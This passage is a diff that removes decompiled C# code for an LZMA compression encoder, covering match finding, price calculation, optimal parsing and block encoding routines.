Encoder.g_FastPos[index1] = index2; - ++num2; - ++index1; - } - } - } - - private static uint GetPosSlot(uint pos) - { - if (pos < 2048U) - return (uint) Encoder.g_FastPos[(IntPtr) pos]; - return pos < 2097152U ? (uint) Encoder.g_FastPos[(IntPtr) (pos >> 10)] + 20U : (uint) Encoder.g_FastPos[(IntPtr) (pos >> 20)] + 40U; - } - - private static uint GetPosSlot2(uint pos) - { - if (pos < 131072U) - return (uint) Encoder.g_FastPos[(IntPtr) (pos >> 6)] + 12U; - return pos < 134217728U ? (uint) Encoder.g_FastPos[(IntPtr) (pos >> 16)] + 32U : (uint) Encoder.g_FastPos[(IntPtr) (pos >> 26)] + 52U; - } - - private void BaseInit() - { - this._state.Init(); - this._previousByte = (byte) 0; - for (uint index = 0; index < 4U; ++index) - this._repDistances[(IntPtr) index] = 0U; - } - - private void Create() - { - if (this._matchFinder == null) - { - BinTree binTree = new BinTree(); - int numHashBytes = 4; - if (this._matchFinderType == Encoder.EMatchFinderType.BT2) - numHashBytes = 2; - binTree.SetType(numHashBytes); - this._matchFinder = (IMatchFinder) binTree; - } - this._literalEncoder.Create(this._numLiteralPosStateBits, this._numLiteralContextBits); - if ((int) this._dictionarySize == (int) this._dictionarySizePrev && (int) this._numFastBytesPrev == (int) this._numFastBytes) - return; - this._matchFinder.Create(this._dictionarySize, 4096U, this._numFastBytes, 274U); - this._dictionarySizePrev = this._dictionarySize; - this._numFastBytesPrev = this._numFastBytes; - } - - public Encoder() - { - for (int index = 0; index < 4096; ++index) - this._optimum[index] = new Encoder.Optimal(); - for (int index = 0; index < 4; ++index) - this._posSlotEncoder[index] = new BitTreeEncoder(6); - } - - private void SetWriteEndMarkerMode(bool writeEndMarker) => this._writeEndMark = writeEndMarker; - - private void Init() - { - this.BaseInit(); - this._rangeEncoder.Init(); - for (uint index1 = 0; index1 < 12U; ++index1) - { - for (uint index2 = 0; index2 <= this._posStateMask; ++index2) - { - uint index3 = (index1 << 4) + index2; - this._isMatch[(IntPtr) index3].Init(); - this._isRep0Long[(IntPtr) index3].Init(); - } - this._isRep[(IntPtr) index1].Init(); - this._isRepG0[(IntPtr) index1].Init(); - this._isRepG1[(IntPtr) index1].Init(); - this._isRepG2[(IntPtr) index1].Init(); - } - this._literalEncoder.Init(); - for (uint index = 0; index < 4U; ++index) - this._posSlotEncoder[(IntPtr) index].Init(); - for (uint index = 0; index < 114U; ++index) - this._posEncoders[(IntPtr) index].Init(); - this._lenEncoder.Init((uint) (1 << this._posStateBits)); - this._repMatchLenEncoder.Init((uint) (1 << this._posStateBits)); - this._posAlignEncoder.Init(); - this._longestMatchWasFound = false; - this._optimumEndIndex = 0U; - this._optimumCurrentIndex = 0U; - this._additionalOffset = 0U; - } - - private void ReadMatchDistances(out uint lenRes, out uint numDistancePairs) - { - lenRes = 0U; - numDistancePairs = this._matchFinder.GetMatches(this._matchDistances); - if (numDistancePairs > 0U) - { - lenRes = this._matchDistances[(IntPtr) (numDistancePairs - 2U)]; - if ((int) lenRes == (int) this._numFastBytes) - lenRes += this._matchFinder.GetMatchLen((int) lenRes - 1, this._matchDistances[(IntPtr) (numDistancePairs - 1U)], 273U - lenRes); - } - ++this._additionalOffset; - } - - private void MovePos(uint num) - { - if (num <= 0U) - return; - this._matchFinder.Skip(num); - this._additionalOffset += num; - } - - private uint GetRepLen1Price(Base.State state, uint posState) => this._isRepG0[(IntPtr) state.Index].GetPrice0() + this._isRep0Long[(IntPtr) ((state.Index << 4) + posState)].GetPrice0(); - - private uint GetPureRepPrice(uint repIndex, Base.State state, uint posState) - { - uint pureRepPrice; - if (repIndex == 0U) - { - pureRepPrice = this._isRepG0[(IntPtr) state.Index].GetPrice0() + this._isRep0Long[(IntPtr) ((state.Index << 4) + posState)].GetPrice1(); - } - else - { - uint price1 = this._isRepG0[(IntPtr) state.Index].GetPrice1(); - pureRepPrice = repIndex != 1U ? price1 + this._isRepG1[(IntPtr) state.Index].GetPrice1() + this._isRepG2[(IntPtr) state.Index].GetPrice(repIndex - 2U) : price1 + this._isRepG1[(IntPtr) state.Index].GetPrice0(); - } - return pureRepPrice; - } - - private uint GetRepPrice(uint repIndex, uint len, Base.State state, uint posState) => this._repMatchLenEncoder.GetPrice(len - 2U, posState) + this.GetPureRepPrice(repIndex, state, posState); - - private uint GetPosLenPrice(uint pos, uint len, uint posState) - { - uint lenToPosState = Base.GetLenToPosState(len); - return (pos >= 128U ? this._posSlotPrices[(IntPtr) ((lenToPosState << 6) + Encoder.GetPosSlot2(pos))] + this._alignPrices[(IntPtr) (pos & 15U)] : this._distancesPrices[(IntPtr) (lenToPosState * 128U + pos)]) + this._lenEncoder.GetPrice(len - 2U, posState); - } - - private uint Backward(out uint backRes, uint cur) - { - this._optimumEndIndex = cur; - uint posPrev = this._optimum[(IntPtr) cur].PosPrev; - uint backPrev = this._optimum[(IntPtr) cur].BackPrev; - do - { - if (this._optimum[(IntPtr) cur].Prev1IsChar) - { - this._optimum[(IntPtr) posPrev].MakeAsChar(); - this._optimum[(IntPtr) posPrev].PosPrev = posPrev - 1U; - if (this._optimum[(IntPtr) cur].Prev2) - { - this._optimum[(IntPtr) (posPrev - 1U)].Prev1IsChar = false; - this._optimum[(IntPtr) (posPrev - 1U)].PosPrev = this._optimum[(IntPtr) cur].PosPrev2; - this._optimum[(IntPtr) (posPrev - 1U)].BackPrev = this._optimum[(IntPtr) cur].BackPrev2; - } - } - uint index = posPrev; - uint num = backPrev; - backPrev = this._optimum[(IntPtr) index].BackPrev; - posPrev = this._optimum[(IntPtr) index].PosPrev; - this._optimum[(IntPtr) index].BackPrev = num; - this._optimum[(IntPtr) index].PosPrev = cur; - cur = index; - } - while (cur > 0U); - backRes = this._optimum[0].BackPrev; - this._optimumCurrentIndex = this._optimum[0].PosPrev; - return this._optimumCurrentIndex; - } - - private uint GetOptimum(uint position, out uint backRes) - { - if ((int) this._optimumEndIndex != (int) this._optimumCurrentIndex) - { - uint optimum = this._optimum[(IntPtr) this._optimumCurrentIndex].PosPrev - this._optimumCurrentIndex; - backRes = this._optimum[(IntPtr) this._optimumCurrentIndex].BackPrev; - this._optimumCurrentIndex = this._optimum[(IntPtr) this._optimumCurrentIndex].PosPrev; - return optimum; - } - this._optimumCurrentIndex = this._optimumEndIndex = 0U; - uint lenRes1; - uint numDistancePairs; - if (!this._longestMatchWasFound) - { - this.ReadMatchDistances(out lenRes1, out numDistancePairs); - } - else - { - lenRes1 = this._longestMatchLength; - numDistancePairs = this._numDistancePairs; - this._longestMatchWasFound = false; - } - uint num1 = this._matchFinder.GetNumAvailableBytes() + 1U; - if (num1 < 2U) - { - backRes = uint.MaxValue; - return 1; - } - if (num1 > 273U) - ; - uint index1 = 0; - for (uint index2 = 0; index2 < 4U; ++index2) - { - this.reps[(IntPtr) index2] = this._repDistances[(IntPtr) index2]; - this.repLens[(IntPtr) index2] = this._matchFinder.GetMatchLen(-1, this.reps[(IntPtr) index2], 273U); - if (this.repLens[(IntPtr) index2] > this.repLens[(IntPtr) index1]) - index1 = index2; - } - if (this.repLens[(IntPtr) index1] >= this._numFastBytes) - { - backRes = index1; - uint repLen = this.repLens[(IntPtr) index1]; - this.MovePos(repLen - 1U); - return repLen; - } - if (lenRes1 >= this._numFastBytes) - { - backRes = this._matchDistances[(IntPtr) (numDistancePairs - 1U)] + 4U; - this.MovePos(lenRes1 - 1U); - return lenRes1; - } - byte indexByte1 = this._matchFinder.GetIndexByte(-1); - byte indexByte2 = this._matchFinder.GetIndexByte(-(int) this._repDistances[0] - 1 - 1); - if (lenRes1 < 2U && (int) indexByte1 != (int) indexByte2 && this.repLens[(IntPtr) index1] < 2U) - { - backRes = uint.MaxValue; - return 1; - } - this._optimum[0].State = this._state; - uint posState1 = position & this._posStateMask; - Encoder.Optimal optimal1 = this._optimum[1]; - int price0 = (int) this._isMatch[(IntPtr) ((this._state.Index << 4) + posState1)].GetPrice0(); - Encoder.LiteralEncoder.Encoder2 subCoder = this._literalEncoder.GetSubCoder(position, this._previousByte); - int price1 = (int) subCoder.GetPrice(!this._state.IsCharState(), indexByte2, indexByte1); - int num2 = price0 + price1; - optimal1.Price = (uint) num2; - this._optimum[1].MakeAsChar(); - uint price1_1 = this._isMatch[(IntPtr) ((this._state.Index << 4) + posState1)].GetPrice1(); - uint num3 = price1_1 + this._isRep[(IntPtr) this._state.Index].GetPrice1(); - if ((int) indexByte2 == (int) indexByte1) - { - uint num4 = num3 + this.GetRepLen1Price(this._state, posState1); - if (num4 < this._optimum[1].Price) - { - this._optimum[1].Price = num4; - this._optimum[1].MakeAsShortRep(); - } - } - uint num5 = lenRes1 >= this.repLens[(IntPtr) index1] ? lenRes1 : this.repLens[(IntPtr) index1]; - if (num5 < 2U) - { - backRes = this._optimum[1].BackPrev; - return 1; - } - this._optimum[1].PosPrev = 0U; - this._optimum[0].Backs0 = this.reps[0]; - this._optimum[0].Backs1 = this.reps[1]; - this._optimum[0].Backs2 = this.reps[2]; - this._optimum[0].Backs3 = this.reps[3]; - uint num6 = num5; - do - { - this._optimum[(IntPtr) num6--].Price = 268435455U; - } - while (num6 >= 2U); - for (uint repIndex = 0; repIndex < 4U; ++repIndex) - { - uint repLen = this.repLens[(IntPtr) repIndex]; - if (repLen >= 2U) - { - uint num7 = num3 + this.GetPureRepPrice(repIndex, this._state, posState1); - do - { - uint num8 = num7 + this._repMatchLenEncoder.GetPrice(repLen - 2U, posState1); - Encoder.Optimal optimal2 = this._optimum[(IntPtr) repLen]; - if (num8 < optimal2.Price) - { - optimal2.Price = num8; - optimal2.PosPrev = 0U; - optimal2.BackPrev = repIndex; - optimal2.Prev1IsChar = false; - } - } - while (--repLen >= 2U); - } - } - uint num9 = price1_1 + this._isRep[(IntPtr) this._state.Index].GetPrice0(); - uint len = this.repLens[0] >= 2U ? this.repLens[0] + 1U : 2U; - if (len <= lenRes1) - { - uint index3 = 0; - while (len > this._matchDistances[(IntPtr) index3]) - index3 += 2U; - while (true) - { - uint matchDistance = this._matchDistances[(IntPtr) (index3 + 1U)]; - uint num10 = num9 + this.GetPosLenPrice(matchDistance, len, posState1); - Encoder.Optimal optimal3 = this._optimum[(IntPtr) len]; - if (num10 < optimal3.Price) - { - optimal3.Price = num10; - optimal3.PosPrev = 0U; - optimal3.BackPrev = matchDistance + 4U; - optimal3.Prev1IsChar = false; - } - if ((int) len == (int) this._matchDistances[(IntPtr) index3]) - { - index3 += 2U; - if ((int) index3 == (int) numDistancePairs) - break; - } - ++len; - } - } - uint cur = 0; -label_45: - uint lenRes2; - Base.State state1; - uint posState2; - uint num11; - uint num12; - uint num13; - do - { - byte indexByte3; - byte indexByte4; - uint num14; - bool flag; - uint num15; - uint limit1; - do - { - ++cur; - if ((int) cur == (int) num5) - return this.Backward(out backRes, cur); - this.ReadMatchDistances(out lenRes2, out numDistancePairs); - if (lenRes2 >= this._numFastBytes) - { - this._numDistancePairs = numDistancePairs; - this._longestMatchLength = lenRes2; - this._longestMatchWasFound = true; - return this.Backward(out backRes, cur); - } - ++position; - uint index4 = this._optimum[(IntPtr) cur].PosPrev; - if (this._optimum[(IntPtr) cur].Prev1IsChar) - { - --index4; - if (this._optimum[(IntPtr) cur].Prev2) - { - state1 = this._optimum[(IntPtr) this._optimum[(IntPtr) cur].PosPrev2].State; - if (this._optimum[(IntPtr) cur].BackPrev2 < 4U) - state1.UpdateRep(); - else - state1.UpdateMatch(); - } - else - state1 = this._optimum[(IntPtr) index4].State; - state1.UpdateChar(); - } - else - state1 = this._optimum[(IntPtr) index4].State; - if ((int) index4 == (int) cur - 1) - { - if (this._optimum[(IntPtr) cur].IsShortRep()) - state1.UpdateShortRep(); - else - state1.UpdateChar(); - } - else - { - uint num16; - if (this._optimum[(IntPtr) cur].Prev1IsChar && this._optimum[(IntPtr) cur].Prev2) - { - index4 = this._optimum[(IntPtr) cur].PosPrev2; - num16 = this._optimum[(IntPtr) cur].BackPrev2; - state1.UpdateRep(); - } - else - { - num16 = this._optimum[(IntPtr) cur].BackPrev; - if (num16 < 4U) - state1.UpdateRep(); - else - state1.UpdateMatch(); - } - Encoder.Optimal optimal4 = this._optimum[(IntPtr) index4]; - if (num16 < 4U) - { - switch (num16) - { - case 0: - this.reps[0] = optimal4.Backs0; - this.reps[1] = optimal4.Backs1; - this.reps[2] = optimal4.Backs2; - this.reps[3] = optimal4.Backs3; - break; - case 1: - this.reps[0] = optimal4.Backs1; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs2; - this.reps[3] = optimal4.Backs3; - break; - case 2: - this.reps[0] = optimal4.Backs2; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs1; - this.reps[3] = optimal4.Backs3; - break; - default: - this.reps[0] = optimal4.Backs3; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs1; - this.reps[3] = optimal4.Backs2; - break; - } - } - else - { - this.reps[0] = num16 - 4U; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs1; - this.reps[3] = optimal4.Backs2; - } - } - this._optimum[(IntPtr) cur].State = state1; - this._optimum[(IntPtr) cur].Backs0 = this.reps[0]; - this._optimum[(IntPtr) cur].Backs1 = this.reps[1]; - this._optimum[(IntPtr) cur].Backs2 = this.reps[2]; - this._optimum[(IntPtr) cur].Backs3 = this.reps[3]; - uint price2 = this._optimum[(IntPtr) cur].Price; - indexByte3 = this._matchFinder.GetIndexByte(-1); - indexByte4 = this._matchFinder.GetIndexByte(-(int) this.reps[0] - 1 - 1); - posState2 = position & this._posStateMask; - int num17 = (int) price2 + (int) this._isMatch[(IntPtr) ((state1.Index << 4) + posState2)].GetPrice0(); - subCoder = this._literalEncoder.GetSubCoder(position, this._matchFinder.GetIndexByte(-2)); - int price3 = (int) subCoder.GetPrice(!state1.IsCharState(), indexByte4, indexByte3); - num14 = (uint) (num17 + price3); - Encoder.Optimal optimal5 = this._optimum[(IntPtr) (cur + 1U)]; - flag = false; - if (num14 < optimal5.Price) - { - optimal5.Price = num14; - optimal5.PosPrev = cur; - optimal5.MakeAsChar(); - flag = true; - } - num11 = price2 + this._isMatch[(IntPtr) ((state1.Index << 4) + posState2)].GetPrice1(); - num15 = num11 + this._isRep[(IntPtr) state1.Index].GetPrice1(); - if ((int) indexByte4 == (int) indexByte3 && (optimal5.PosPrev >= cur || optimal5.BackPrev != 0U)) - { - uint num18 = num15 + this.GetRepLen1Price(state1, posState2); - if (num18 <= optimal5.Price) - { - optimal5.Price = num18; - optimal5.PosPrev = cur; - optimal5.MakeAsShortRep(); - flag = true; - } - } - uint val2 = this._matchFinder.GetNumAvailableBytes() + 1U; - num12 = Math.Min(4095U - cur, val2); - limit1 = num12; - } - while (limit1 < 2U); - if (limit1 > this._numFastBytes) - limit1 = this._numFastBytes; - if (!flag && (int) indexByte4 != (int) indexByte3) - { - uint matchLen = this._matchFinder.GetMatchLen(0, this.reps[0], Math.Min(num12 - 1U, this._numFastBytes)); - if (matchLen >= 2U) - { - Base.State state2 = state1; - state2.UpdateChar(); - uint posState3 = position + 1U & this._posStateMask; - uint num19 = num14 + this._isMatch[(IntPtr) ((state2.Index << 4) + posState3)].GetPrice1() + this._isRep[(IntPtr) state2.Index].GetPrice1(); - uint index5 = cur + 1U + matchLen; - while (num5 < index5) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num20 = num19 + this.GetRepPrice(0U, matchLen, state2, posState3); - Encoder.Optimal optimal6 = this._optimum[(IntPtr) index5]; - if (num20 < optimal6.Price) - { - optimal6.Price = num20; - optimal6.PosPrev = cur + 1U; - optimal6.BackPrev = 0U; - optimal6.Prev1IsChar = true; - optimal6.Prev2 = false; - } - } - } - num13 = 2U; - for (uint repIndex = 0; repIndex < 4U; ++repIndex) - { - uint matchLen1 = this._matchFinder.GetMatchLen(-1, this.reps[(IntPtr) repIndex], limit1); - if (matchLen1 >= 2U) - { - uint num21 = matchLen1; - do - { - while (num5 < cur + matchLen1) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num22 = num15 + this.GetRepPrice(repIndex, matchLen1, state1, posState2); - Encoder.Optimal optimal7 = this._optimum[(IntPtr) (cur + matchLen1)]; - if (num22 < optimal7.Price) - { - optimal7.Price = num22; - optimal7.PosPrev = cur; - optimal7.BackPrev = repIndex; - optimal7.Prev1IsChar = false; - } - } - while (--matchLen1 >= 2U); - uint num23 = num21; - if (repIndex == 0U) - num13 = num23 + 1U; - if (num23 < num12) - { - uint limit2 = Math.Min(num12 - 1U - num23, this._numFastBytes); - uint matchLen2 = this._matchFinder.GetMatchLen((int) num23, this.reps[(IntPtr) repIndex], limit2); - if (matchLen2 >= 2U) - { - Base.State state3 = state1; - state3.UpdateRep(); - uint num24 = position + num23 & this._posStateMask; - int num25 = (int) num15 + (int) this.GetRepPrice(repIndex, num23, state1, posState2) + (int) this._isMatch[(IntPtr) ((state3.Index << 4) + num24)].GetPrice0(); - subCoder = this._literalEncoder.GetSubCoder(position + num23, this._matchFinder.GetIndexByte((int) num23 - 1 - 1)); - int price4 = (int) subCoder.GetPrice(true, this._matchFinder.GetIndexByte((int) num23 - 1 - ((int) this.reps[(IntPtr) repIndex] + 1)), this._matchFinder.GetIndexByte((int) num23 - 1)); - uint num26 = (uint) (num25 + price4); - state3.UpdateChar(); - uint posState4 = (uint) ((int) position + (int) num23 + 1) & this._posStateMask; - uint num27 = num26 + this._isMatch[(IntPtr) ((state3.Index << 4) + posState4)].GetPrice1() + this._isRep[(IntPtr) state3.Index].GetPrice1(); - uint num28 = num23 + 1U + matchLen2; - while (num5 < cur + num28) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num29 = num27 + this.GetRepPrice(0U, matchLen2, state3, posState4); - Encoder.Optimal optimal8 = this._optimum[(IntPtr) (cur + num28)]; - if (num29 < optimal8.Price) - { - optimal8.Price = num29; - optimal8.PosPrev = (uint) ((int) cur + (int) num23 + 1); - optimal8.BackPrev = 0U; - optimal8.Prev1IsChar = true; - optimal8.Prev2 = true; - optimal8.PosPrev2 = cur; - optimal8.BackPrev2 = repIndex; - } - } - } - } - } - if (lenRes2 > limit1) - { - lenRes2 = limit1; - uint index6 = 0; - while (lenRes2 > this._matchDistances[(IntPtr) index6]) - index6 += 2U; - this._matchDistances[(IntPtr) index6] = lenRes2; - numDistancePairs = index6 + 2U; - } - } - while (lenRes2 < num13); - uint num30 = num11 + this._isRep[(IntPtr) state1.Index].GetPrice0(); - while (num5 < cur + lenRes2) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint index7 = 0; - while (num13 > this._matchDistances[(IntPtr) index7]) - index7 += 2U; - uint num31 = num13; - while (true) - { - uint matchDistance = this._matchDistances[(IntPtr) (index7 + 1U)]; - uint num32 = num30 + this.GetPosLenPrice(matchDistance, num31, posState2); - Encoder.Optimal optimal9 = this._optimum[(IntPtr) (cur + num31)]; - if (num32 < optimal9.Price) - { - optimal9.Price = num32; - optimal9.PosPrev = cur; - optimal9.BackPrev = matchDistance + 4U; - optimal9.Prev1IsChar = false; - } - if ((int) num31 == (int) this._matchDistances[(IntPtr) index7]) - { - if (num31 < num12) - { - uint limit = Math.Min(num12 - 1U - num31, this._numFastBytes); - uint matchLen = this._matchFinder.GetMatchLen((int) num31, matchDistance, limit); - if (matchLen >= 2U) - { - Base.State state4 = state1; - state4.UpdateMatch(); - uint num33 = position + num31 & this._posStateMask; - int num34 = (int) num32 + (int) this._isMatch[(IntPtr) ((state4.Index << 4) + num33)].GetPrice0(); - subCoder = this._literalEncoder.GetSubCoder(position + num31, this._matchFinder.GetIndexByte((int) num31 - 1 - 1)); - int price5 = (int) subCoder.GetPrice(true, this._matchFinder.GetIndexByte((int) num31 - ((int) matchDistance + 1) - 1), this._matchFinder.GetIndexByte((int) num31 - 1)); - uint num35 = (uint) (num34 + price5); - state4.UpdateChar(); - uint posState5 = (uint) ((int) position + (int) num31 + 1) & this._posStateMask; - uint num36 = num35 + this._isMatch[(IntPtr) ((state4.Index << 4) + posState5)].GetPrice1() + this._isRep[(IntPtr) state4.Index].GetPrice1(); - uint num37 = num31 + 1U + matchLen; - while (num5 < cur + num37) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num38 = num36 + this.GetRepPrice(0U, matchLen, state4, posState5); - Encoder.Optimal optimal10 = this._optimum[(IntPtr) (cur + num37)]; - if (num38 < optimal10.Price) - { - optimal10.Price = num38; - optimal10.PosPrev = (uint) ((int) cur + (int) num31 + 1); - optimal10.BackPrev = 0U; - optimal10.Prev1IsChar = true; - optimal10.Prev2 = true; - optimal10.PosPrev2 = cur; - optimal10.BackPrev2 = matchDistance + 4U; - } - } - } - index7 += 2U; - if ((int) index7 == (int) numDistancePairs) - goto label_45; - } - ++num31; - } - } - - private bool ChangePair(uint smallDist, uint bigDist) => smallDist < 33554432U && bigDist >= smallDist << 7; - - private void WriteEndMarker(uint posState) - { - if (!this._writeEndMark) - return; - this._isMatch[(IntPtr) ((this._state.Index << 4) + posState)].Encode(this._rangeEncoder, 1U); - this._isRep[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - this._state.UpdateMatch(); - uint len = 2; - this._lenEncoder.Encode(this._rangeEncoder, len - 2U, posState); - uint symbol = 63; - this._posSlotEncoder[(IntPtr) Base.GetLenToPosState(len)].Encode(this._rangeEncoder, symbol); - int num1 = 30; - uint num2 = (uint) ((1 << num1) - 1); - this._rangeEncoder.EncodeDirectBits(num2 >> 4, num1 - 4); - this._posAlignEncoder.ReverseEncode(this._rangeEncoder, num2 & 15U); - } - - private void Flush(uint nowPos) - { - this.ReleaseMFStream(); - this.WriteEndMarker(nowPos & this._posStateMask); - this._rangeEncoder.FlushData(); - this._rangeEncoder.FlushStream(); - } - - public void CodeOneBlock(out long inSize, out long outSize, out bool finished) - { - inSize = 0L; - outSize = 0L; - finished = true; - if (this._inStream != null) - { - this._matchFinder.SetStream(this._inStream); - this._matchFinder.Init(); - this._needReleaseMFStream = true; - this._inStream = (Stream) null; - if (this._trainSize > 0U) - this._matchFinder.Skip(this._trainSize); - } - if (this._finished) - return; - this._finished = true; - long nowPos64 = this.nowPos64; - if (this.nowPos64 == 0L) - { - if (this._matchFinder.GetNumAvailableBytes() == 0U) - { - this.Flush((uint) this.nowPos64); - return; - } - this.ReadMatchDistances(out uint _, out uint _); - this._isMatch[(IntPtr) ((this._state.Index << 4) + ((uint) this.nowPos64 & this._posStateMask))].Encode(this._rangeEncoder, 0U); - this._state.UpdateChar(); - byte indexByte = this._matchFinder.GetIndexByte(-(int) this._additionalOffset); - this._literalEncoder.GetSubCoder((uint) this.nowPos64, this._previousByte).Encode(this._rangeEncoder, indexByte); - this._previousByte = indexByte; - --this._additionalOffset; - ++this.nowPos64; - } - if (this._matchFinder.GetNumAvailableBytes() == 0U) - { - this.Flush((uint) this.nowPos64); - } - else - { - do - { - do - { - uint backRes; - uint optimum = this.GetOptimum((uint) this.nowPos64, out backRes); - uint posState = (uint) this.nowPos64 & this._posStateMask; - uint index1 = (this._state.Index << 4) + posState; - if (optimum == 1U && backRes == uint.MaxValue) - { - this._isMatch[(IntPtr) index1].Encode(this._rangeEncoder, 0U); - byte indexByte1 = this._matchFinder.GetIndexByte(-(int) this._additionalOffset); - Encoder.LiteralEncoder.Encoder2 subCoder = this._literalEncoder.GetSubCoder((uint) this.nowPos64, this._previousByte); - if (!this._state.IsCharState()) - { - byte indexByte2 = this._matchFinder.GetIndexByte(-(int) this._repDistances[0] - 1 - (int) this._additionalOffset); - subCoder.EncodeMatched(this._rangeEncoder, indexByte2, indexByte1); - } - else - subCoder.Encode(this._rangeEncoder, indexByte1); - this._previousByte = indexByte1; - this._state.UpdateChar(); - } - else - { - this._isMatch[(IntPtr) index1].Encode(this._rangeEncoder, 1U); - if (backRes < 4U) - { - this._isRep[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 1U); - if (backRes == 0U) - { - this._isRepG0[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - if (optimum == 1U) - this._isRep0Long[(IntPtr) index1].Encode(this._rangeEncoder, 0U); - else - this._isRep0Long[(IntPtr) index1].Encode(this._rangeEncoder, 1U); - } - else - { - this._isRepG0[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 1U); - if (backRes == 1U) - { - this._isRepG1[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - } - else - { - this._isRepG1[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 1U); - this._isRepG2[(IntPtr) this._state.Index].Encode(this._rangeEncoder, backRes - 2U); - } - } - if (optimum == 1U) - { - this._state.UpdateShortRep(); - } - else - { - this._repMatchLenEncoder.Encode(this._rangeEncoder, optimum - 2U, posState); - this._state.UpdateRep(); - } - uint repDistance = this._repDistances[(IntPtr) backRes]; - if (backRes != 0U) - { - for (uint index2 = backRes; index2 >= 1U; --index2) - this._repDistances[(IntPtr) index2] = this._repDistances[(IntPtr) (index2 - 1U)]; - this._repDistances[0] = repDistance; - } - } - else - { - this._isRep[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - this._state.UpdateMatch(); - this._lenEncoder.Encode(this._rangeEncoder, optimum - 2U, posState); - backRes -= 4U; - uint posSlot = Encoder.GetPosSlot(backRes); - this._posSlotEncoder[(IntPtr) Base.GetLenToPosState(optimum)].Encode(this._rangeEncoder, posSlot); - if (posSlot >= 4U) - { - int NumBitLevels = (int) (posSlot >> 1) - 1; - uint num = (uint) ((2 | (int) posSlot & 1) << NumBitLevels); - uint symbol = backRes - num; - if (posSlot < 14U) - { - BitTreeEncoder.ReverseEncode(this._posEncoders, (uint) ((int) num - (int) posSlot - 1), this._rangeEncoder, NumBitLevels, symbol); - } - else - { - this._rangeEncoder.EncodeDirectBits(symbol >> 4, NumBitLevels - 4); - this._posAlignEncoder.ReverseEncode(this._rangeEncoder, symbol & 15U); - ++this._alignPriceCount; - } - } - uint num1 = backRes; - for (uint index3 = 3; index3 >= 1U; --index3) - this._repDistances[(IntPtr) index3] = this._repDistances[(IntPtr) (index3 - 1U)]; - this._repDistances[0] = num1; - ++this._matchPriceCount; - } - this._previousByte = this._matchFinder.GetIndexByte((int) optimum - 1 - (int) this._additionalOffset); - } - this._additionalOffset -= optimum; - this.nowPos64 += (long) optimum; - } - while (this._additionalOffset != 0U); - if (this._matchPriceCount >= 128U) - this.FillDistancesPrices(); - if (this._alignPriceCount >= 16U) - this.FillAlignPrices(); - inSize = this.nowPos64; - outSize = this._rangeEncoder.GetProcessedSizeAdd(); - if (this._matchFinder.GetNumAvailableBytes() == 0U) - { - this.Flush((uint) this.nowPos64); - return; - } - } - while (this.nowPos64 - nowPos64 < 4096L); - this._finished = false; - finished = false; - } - } - - private void ReleaseMFStream() - { - if (this._matchFinder == null || !this._needReleaseMFStream) - return; - this._matchFinder.ReleaseStream(); - this._needReleaseMFStream = false; - } - - private void SetOutStream(Stream outStream) => this._rangeEncoder.SetStream(outStream); - - private void ReleaseOutStream() => this._rangeEncoder.ReleaseStream(); - - private void ReleaseStreams() - { - this.ReleaseMFStream(); - this.ReleaseOutStream(); - } - - private void SetStreams(Stream inStream, Stream outStream, long inSize, long outSize) - { - this._inStream = inStream; - this._finished = false; - this.Create(); - this.SetOutStream(outStream); - this.Init(); - this.FillDistancesPrices(); - this.FillAlignPrices(); - this._lenEncoder.SetTableSize((uint) ((int) this._numFastBytes + 1 - 2)); - this._lenEncoder.UpdateTables((uint) (1 << this._posStateBits)); - this._repMatchLenEncoder.SetTableSize((uint) ((int) this._numFastBytes + 1 - 2)); - this._repMatchLenEncoder.UpdateTables((uint) (1 << this._posStateBits)); - this.nowPos64 = 0L; - } - - public void Code( - Stream inStream, - Stream outStream, - long inSize, - long outSize, - ICodeProgress progress) - { - this._needReleaseMFStream = false; - try - { - this.SetStreams(inStream, outStream, inSize, outSize); - while (true) - { - long inSize1; - long outSize1; - do - { - bool finished; - this.CodeOneBlock(out inSize1, out outSize1, out finished); - if (finished) - goto label_3; - } - while (progress == null); - progress.SetProgress(inSize1, outSize1); - } -label_3:; - } - finally - { - this.ReleaseStreams(); - } - } - - public void WriteCoderProperties(Stream outStream) - { - this.properties[0] = (byte) ((this._posStateBits * 5 + this._numLiteralPosStateBits) * 9 + this._numLiteralContextBits); - for (int index = 0; index < 4; ++index) - this.properties[1 + index] = (byte) (this._dictionarySize >> 8 * index & (uint) byte.MaxValue); - outStream.Write(this.properties, 0, 5); - } - - private void FillDistancesPrices() - { - for (uint pos = 4; pos < 128U; ++pos) - { - uint posSlot = Encoder.GetPosSlot(pos); - int NumBitLevels = (int) (posSlot >> 1) - 1; - uint num = (uint) ((2 | (int) posSlot & 1) << NumBitLevels); - this.tempPrices[(IntPtr) pos] = BitTreeEncoder.ReverseGetPrice(this._posEncoders, (uint) ((int) num - (int) posSlot - 1), NumBitLevels, pos - num); - } - for (uint index1 = 0; index1 < 4U; ++index1) - { - BitTreeEncoder bitTreeEncoder = this._posSlotEncoder[(IntPtr) index1]; - uint num1 = index1 << 6; - for (uint symbol = 0; symbol < this._distTableSize; ++symbol) - this._posSlotPrices[(IntPtr) (num1 + symbol)] = bitTreeEncoder.GetPrice(symbol); - for (uint index2 = 14; index2 < this._distTableSize; ++index2) - this._posSlotPrices[(IntPtr) (num1 + index2)] += (uint) ((int) (index2 >> 1) - 1 - 4 << 6); - uint num2 = index1 * 128U; - uint pos; - for (pos = 0U; pos < 4U; ++pos) - this._distancesPrices[(IntPtr) (num2 + pos)] = this._posSlotPrices[(IntPtr) (num1 + pos)]; - for (; pos < 128U; ++pos) - this._distancesPrices[(IntPtr) (num2 + pos)] = this._posSlotPrices[(IntPtr) (num1 + Encoder.GetPosSlot(pos))] + this.tempPrices[(IntPtr) pos]; - } - 